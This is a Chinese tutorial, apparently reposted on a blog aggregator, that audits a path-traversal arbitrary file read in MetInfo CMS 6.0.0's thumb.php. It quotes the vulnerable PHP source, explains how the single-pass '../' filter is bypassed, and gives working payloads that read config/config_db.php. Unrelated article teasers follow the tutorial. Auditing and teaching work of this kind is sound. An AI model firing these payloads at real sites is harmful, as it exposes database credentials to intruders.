WEB攻防-PHP特性-metinfoCMS审计实例

前置知识：PHP函数缺陷

测试环境：MetInfo CMS

  1. 函数缺陷导致的任意文件读取

漏洞URL：/include/thumb.php?dir=

漏洞文件位置：MetInfo6.0.0\app\system\include\module\old_thumb.class.php

<?phpdefined('IN_MET') or exit('No permission');load::sys_class('web');class old_thumb extends web{public function doshow(){global $_M;$dir = str_replace(array('../','./'), '', $_GET['dir']);echo $dir;echo "<br/>";echo !(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http');echo "<br/>";if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){header("Content-type: image/jpeg");echo $dir;echo 11111111;ob_start();readfile($dir);ob_flush();flush();die;}if($_M['form']['pageset']){$path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";}else{$path = $dir;}$image =  thumb($path,$_M['form']['x'],$_M['form']['y']);if($_M['form']['pageset']){$img = explode('?', $image);$img = $img[0];}else{$img = $image;}if($img){header("Content-type: image/jpeg");ob_start();readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));echo PATH_WEB.str_replace($_M['url']['site'], '', $img);echo 2222222;ob_flush();flush();}}
}?>

源码中，      $dir = str_replace(array('../','./'), '', $_GET['dir']);过滤了../和./，但str_replace是不迭代循环过滤的，可以双写绕过的

可以看到代码中 if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)这个条件用于检测一个路径$dir是否是一个以'http'开头且不是相对于当前目录的（不包含'./'）。但是，这样的判断方式并不完全准确，因为它只是检查了前4个字符是否为'http'，而没有确保整个字符串是一个有效的URL。同时，检查'./'来排除相对路径的方式也是有限的，因为它没有考虑如'../'或其他相对路径形式。当我们试图构造playload：http://localhost/MetInfo/include/thumb.php?dir=http\.....//\config\config_db.php

readfile($dir);打开http\.....//\config\config_db.php这个路径是一个无效路径，所以继续看代码

if($_M['form']['pageset'])

在全局搜索pageset看到是一个跳转地址加参数pageset=1

而我们构造playload没有跳转动作，所以应该是不会满足条件的，也就是说构造的dir会直接赋值给$path

再看下一行 $image =  thumb($path,$_M['form']['x'],$_M['form']['y']);这里对path作了处理，应该是宽高处理,追踪thumb这个函数

找到最后返回调用的函数met_thumb

可以看到红框上面的又做了一次../和./的过滤，如果没有http会执行红框下面的代码，在$image = $this->get_thumb();追踪到get_thumb可以看到return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();，继续追踪 $this->create_thumb();，可以看到会返回一个默认路径

完整代码

<?phpdefined('IN_MET') or exit('No permission');class image{/*** 图片信息* @var [type]*/public $image;/*** 域名* @var [type]*/public $host;/*** 请求图片宽* @var int*/public $x;/*** 请求图片高* @var int*/public $y;/*** 生成图片宽* @var [type]*/public $thumb_x;/*** 生成图片高* @var [type]*/public $thumb_y;/*** 缩略图存放目录* @var [type]*/public $thumb_dir;/*** 缩略图路径* @var [type]*//*** 缩略图url* @var [type]*/public $thumb_url;public $thumb_path;public function met_thumb($image_path, $x = '', $y = ''){global $_M;if(!isset($image_path)){$image_path = $_M['url']['site'].'public/images/metinfo.gif';}$this->image_path = str_replace(array($_M['url']['site'],'../','./'), '', $image_path);// 如果地址为空 返回默认图片if(!$this->image_path){return $_M['url']['site'].'public/images/metinfo.gif';}// 如果去掉网址还有http就是外部链接图片 不需要缩略处理if(strstr($this->image_path, 'http')){return $this->image_path;}$this->x = is_numeric($x) ? intval($x) : false;$this->y = is_numeric($y) ? intval($y) : false;$this->image = pathinfo($this->image_path);$this->thumb_dir = PATH_WEB.'upload/thumb_src/';$this->thumb_path = $this->get_thumb_file() . $this->image['basename'];$image = $this->get_thumb();return $image;}public function get_thumb_file() {global $_M;$x = $this->x;$y = $this->y;if($path = explode('?', $this->image_path)){$image_path = $path[0];}else{$image_path = $this->image_path;}$s = file_get_contents(PATH_WEB.$image_path);$image = imagecreatefromstring($s);$width = imagesx($image);//获取原图片的宽$height = imagesy($image);//获取原图片的高if($x && $y) {$dirname = "{$x}_{$y}/";$this->thumb_x  = $x;$this->thumb_y  = $y;}if($x && !$y) {$dirname 		= "x_{$x}/";$this->thumb_x  = $x;$this->thumb_y  = $x / $width * $height;}if(!$x && $y) {$dirname 		= "y_{$y}/";$this->thumb_y  = $y;$this->thumb_x  = $y / $height * $width;}$this->thumb_url = $_M['url']['site'] . 'upload/thumb_src/' . $dirname . $this->image['basename'];$dirname = $this->thumb_dir . $dirname ;if(stristr(PHP_OS,"WIN")) {$dirname = @iconv("utf-8","GBK",$dirname);}return $dirname;}public function get_thumb() {if($path = explode('?', $this->thumb_path)){$thumb_path = $path[0];}else{$thumb_path = $this->thumb_path;}return file_exists($thumb_path) ? $this->thumb_url : $this->create_thumb();}public function create_thumb() {global $_M;$thumb = load::sys_class('thumb','new');$thumb->set('thumb_save_type',3);$thumb->set('thumb_kind',$_M['config']['thumb_kind']);$thumb->set('thumb_savepath',$this->get_thumb_file());$thumb->set('thumb_width',$this->thumb_x);$thumb->set('thumb_height',$this->thumb_y);$suf = '';if($path = explode('?', $this->image_path)){$image_path = $path[0];$suf .= '?'.$path[1];}else{$image_path = $this->image_path;}if($_M['config']['met_big_wate'] && strpos($image_path, 'watermark')!==false){$image_path = str_replace('watermark/', '', $image_path);}$image = $thumb->createthumb($image_path);if($_M['config']['met_thumb_wate'] && strpos($image_path, 'watermark')===false){$mark = load::sys_class('watermark','new');$mark->set('water_savepath',$this->get_thumb_file());$mark->set_system_thumb();$mark->create($image['path']);}if($image['error']){if (!$_M['config']['met_agents_switch']) {return $_M['url']['site'].'public/images/metinfo.gif'.$suf;}else{$met_agents_img =str_replace('../', '', $_M['config']['met_agents_img']);$image_path = $_M['url']['site'] . $met_agents_img;return $_M['url']['site'].$met_agents_img.$suf;}}return $_M['url']['site'].$image['path'].$suf;}}

重点看红框部分，再贴一次上面的图

只要二次过滤后的路径有http就返回二次过滤的路径

回到漏洞页面代码，也就是$image接收thump处理后的一个二次过滤../和./的路径，

下面又if($_M['form']['pageset'])，这里又直接执行else赋值给$img

最后一个判断可以看到 readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));

PATH_WEB是一个常量，包含了指定的路径

拼接我们传进来的值，而这个值会被二次过滤../和./,也就是说，我们需要构造一个绕过二次过滤的playload就可以任意读取已知路径的文件

/MetInfo/include/thumb.php?dir=ahttp\.....//\config\config_db.php

 注意：

  • http前面可以加任何字符来绕过if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)，但不能加后面，加前面就满足了substr(str_replace($_M['url']['site'], '', $dir),0,4)的条件
  • 第一个反斜杠也可以是/，只是为了闭合ahppt这个文件名，
  • 而第二个加了底纹的\不可以时候/，因为会被二次过滤，过滤后会变成ahttp\config\config_db.php，而\过滤之后是ahttp\..\config\config_db.php，才能使..\返回上一节目录
  • .. 的作用与之前的目录是否存在无关，它总是表示向上移动一个目录级别。而路径解析器会忽略任何不存在的目录部分，并继续处理剩余的有效部分。这就是为什么 ahttp\..\ 会返回到 MetInfo 这个目录，即使 ahttp\ 目录不存在。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/5002.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

深度学习 --- stanford cs231学习笔记(一)

深度学习 --- stanford cs231学习笔记(一)

stanford cs231学习笔记(一) 1&#xff0c;先是讲到了机器学习中的kNN算法&#xff0c;然后因为kNN分类器的一些弊端&#xff0c;引入了线性分类器。 kNN算法的三大弊端&#xff1a; (1)&#xff0c;计算量大&#xff0c;当特征比较多时表示性差 (2)&#xff0c;训练时耗时少…
阅读更多...
HF区块链链码基础

HF区块链链码基础

链码生命周期 一 . 链码准备 准备文件 . 在测试目录下创建chaincode,拷贝测试链码进 chaincode目录,拷贝 set-env.sh 脚本进 scripts 目录 二. 打包链码 打包测试链码 export FABRIC_CFG_PATH${PWD}/config peer lifecycle chaincode package ./chaincode/chaincode_basic.…
阅读更多...
每周一算法：单源次短路

每周一算法：单源次短路

题目描述 “您的个人假期”旅行社组织了一次比荷卢经济联盟的巴士之旅。 比荷卢经济联盟有很多公交线路。每天公共汽车都会从一座城市开往另一座城市。沿途汽车可能会在一些城市&#xff08;零或更多&#xff09;停靠。 旅行社计划旅途从 S S S 城市出发&#xff0c;到 F …
阅读更多...
C语言进阶|链表经典OJ题

C语言进阶|链表经典OJ题

✈移除链表元素 给你一个链表的头节点 head 和一个整数 val &#xff0c;请你删除链表中所有满足 Node.val val 的节点&#xff0c;并返回 新的头节点 。 方法一&#xff1a; 遍历链表找到所有等于val的节点&#xff0c;再执行删除操作删除这些节点。 方法二&#xff1a; …
阅读更多...
算法必备数学基础：图论方法由浅入深实践与应用

算法必备数学基础：图论方法由浅入深实践与应用

作者介绍&#xff1a;10年大厂数据\经营分析经验&#xff0c;现任大厂数据部门负责人。 会一些的技术&#xff1a;数据分析、算法、SQL、大数据相关、python 欢迎加入社区&#xff1a;码上找工作 作者专栏每日更新&#xff1a; LeetCode解锁1000题: 打怪升级之旅 python数据分析…
阅读更多...
SparkSQL---简介及RDD V.S DataFrame V.S Dataset编程模型详解

SparkSQL---简介及RDD V.S DataFrame V.S Dataset编程模型详解

一、SparkSQL简介 SparkSQL&#xff0c;就是Spark生态体系中的构建在SparkCore基础之上的一个基于SQL的计算模块。SparkSQL的前身不叫SparkSQL&#xff0c;而叫Shark&#xff0c;最开始的时候底层代码优化&#xff0c;sql的解析、执行引擎等等完全基于Hive&#xff0c;总之Sha…
阅读更多...
2024年水资源保护盛事，“澜湄周”邀请国信华源加入！

2024年水资源保护盛事，“澜湄周”邀请国信华源加入！

4月26日&#xff0c;2024年水资源领域“澜湄周”活动在北京举行。水利部国科司、外交部亚洲司和边海司、湄公河五国驻华使馆以及澜湄水资源合作单位的代表嘉宾出席活动。北京国信华源公司特邀参加&#xff0c;现场就深化澜湄水资源合作展开深入交流研讨。 澜湄六国&#xff0c;…
阅读更多...
2022-2003年上市公司企业商业信用融资数据

2022-2003年上市公司企业商业信用融资数据

01、数据简介 企业商业信用融资是指企业之间在买卖商品时&#xff0c;以商品形式提供的借贷活动。这种融资方式是经济活动中一种最普遍的债权债务关系。商业信用的存在对于扩大生产和促进流通起到了十分积极的作用&#xff0c;但不可避免的也存在着一些消极的影响。 测算方式…
阅读更多...
使用 LooperPrinter 监控 Android 应用的卡顿

使用 LooperPrinter 监控 Android 应用的卡顿

在 Android 开发中&#xff0c;主线程&#xff08;UI线程&#xff09;的卡顿直接影响用户体验。LooperPrinter 是一种有效的工具&#xff0c;可以帮助我们监测和识别这些卡顿。下面是如何实现 LooperPrinter 监控的详细步骤和相应的 Kotlin 代码示例。 步骤 1: 创建自定义的 P…
阅读更多...
牛客JZ47 礼物的最大价值【中等 动态规划 C++/Java/Go/PHP】

牛客JZ47 礼物的最大价值【中等 动态规划 C++/Java/Go/PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/2237b401eb9347d282310fc1c3adb134 思路 动态规划&#xff1a; 每个单元格依赖于他的上边a和左边b&#xff0c;单元格的值为max(a,b)自己的值参考答案C class Solution {public:/*** 代码中的类名、方法名、参…
阅读更多...
京东web京东，m端滑块，h5st4.2,4.3,4.7

京东web京东，m端滑块，h5st4.2,4.3,4.7

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01;wx a15018601872 本文章未…
阅读更多...
力扣33. 搜索旋转排序数组

力扣33. 搜索旋转排序数组

Problem: 33. 搜索旋转排序数组 文章目录 题目描述思路复杂度Code 题目描述 思路 1.初始化左右指针&#xff1a;首先&#xff0c;定义两个指针left和right&#xff0c;分别指向数组的开始和结束位置。 2.计算中间值&#xff1a;在left和right之间找到中间位置mid。 3.比较中间值…
阅读更多...
strstr，strnstr函数详解

strstr，strnstr函数详解

strstr函数 strstr函数是C语言中的一个字符串函数&#xff0c;用于在一个字符串中查找另一个字符串的出现位置。 它的函数原型如下&#xff1a; char *strstr(const char *haystack, const char *needle); 在这个函数中&#xff0c;haystack表示被搜索的字符串&#xff0c;…
阅读更多...
【多态】有关多继承和菱形继承的多态

【多态】有关多继承和菱形继承的多态

博主首页&#xff1a; 有趣的中国人 专栏首页&#xff1a; C进阶 其它专栏&#xff1a; C初阶 | 初阶数据结构 | Linux 博主会持续更新 本篇文章主要讲解 多继承和菱形继承的多态 的相关内容 文章目录 1. 回顾多态底层2. 抽象类2.1 概念2.2 接口继承和实现继承 3. 虚表所在…
阅读更多...
Linux——web建立wordpress

Linux——web建立wordpress

下载 [rootnfs-server ~]# yum install php wget https://wordpress.org/latest.tar.gz解压 /var/www/html [rootnfs-server html]# tar -xzvf latest.tar.gz [rootnfs-server html]# rm latest.tar.gz授权 [rootnfs-server html]# chown -R www:www /var/www/html添加文件备…
阅读更多...
利用kimi等大模型进行运维参数解析和调优

利用kimi等大模型进行运维参数解析和调优

在运维时&#xff0c;经常遇到很多参数&#xff0c;有些参数不知道意义&#xff0c;知道意义的也有些不知道合理参考值是多少。利用kimi等大模型来当老司机&#xff0c;轻松解决运维难题。 例如在运维hive参数时&#xff0c;有些不知道作用&#xff0c;提示次如下 你的角色是…
阅读更多...
windows ubuntu sed,awk,grep篇：7.sed 多行模式及循环

windows ubuntu sed,awk,grep篇：7.sed 多行模式及循环

目录 46.读取下一行数据并附加到模式空间(命令 N) 47.打印多行模式中的第一行(命令 P) 48. 删除多行模式中的第一行(命令 D) 49.循环和分支(命令 b 和 :label 标签) 50.使用命令 t 进行循环 Sed 默认每次只处理一行数据&#xff0c;除非使用 H,G 或者 N 等命令创建多行模式&…
阅读更多...
python学习笔记B-11：序列结构之列表--二维列表的遍历和生成式

python学习笔记B-11：序列结构之列表--二维列表的遍历和生成式

二维列表的遍历方式&#xff0c;使用双层for循环&#xff0c;遍历索引号。 二维列表的生成式&#xff0c;也是使用类似双层循环的形式生成。 print("##初始化二维列表&#xff0c;每个元素就是1个列表") lst [["东方延续","太空军自然选择号舰长&qu…
阅读更多...
释放Stable Diffusion 无限可能

释放Stable Diffusion 无限可能

最近在整理大语言模型的系列内容&#xff0c;Stable Diffusion 是我下一篇博客的主题。关注 Stable Diffusion&#xff0c;是因为它是目前最受欢迎和影响力最大的多模态生成模型之一。Stable Diffusion 于 2022 年 8 月发布&#xff0c;主要用于根据文本的描述产生详细图像&…
阅读更多...
基于SpringBoot+Vue笔记记录分享网站设计与实现

基于SpringBoot+Vue笔记记录分享网站设计与实现

项目介绍&#xff1a; 信息数据从传统到当代&#xff0c;是一直在变革当中&#xff0c;突如其来的互联网让传统的信息管理看到了革命性的曙光&#xff0c;因为传统信息管理从时效性&#xff0c;还是安全性&#xff0c;还是可操作性等各个方面来讲&#xff0c;遇到了互联网时代…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023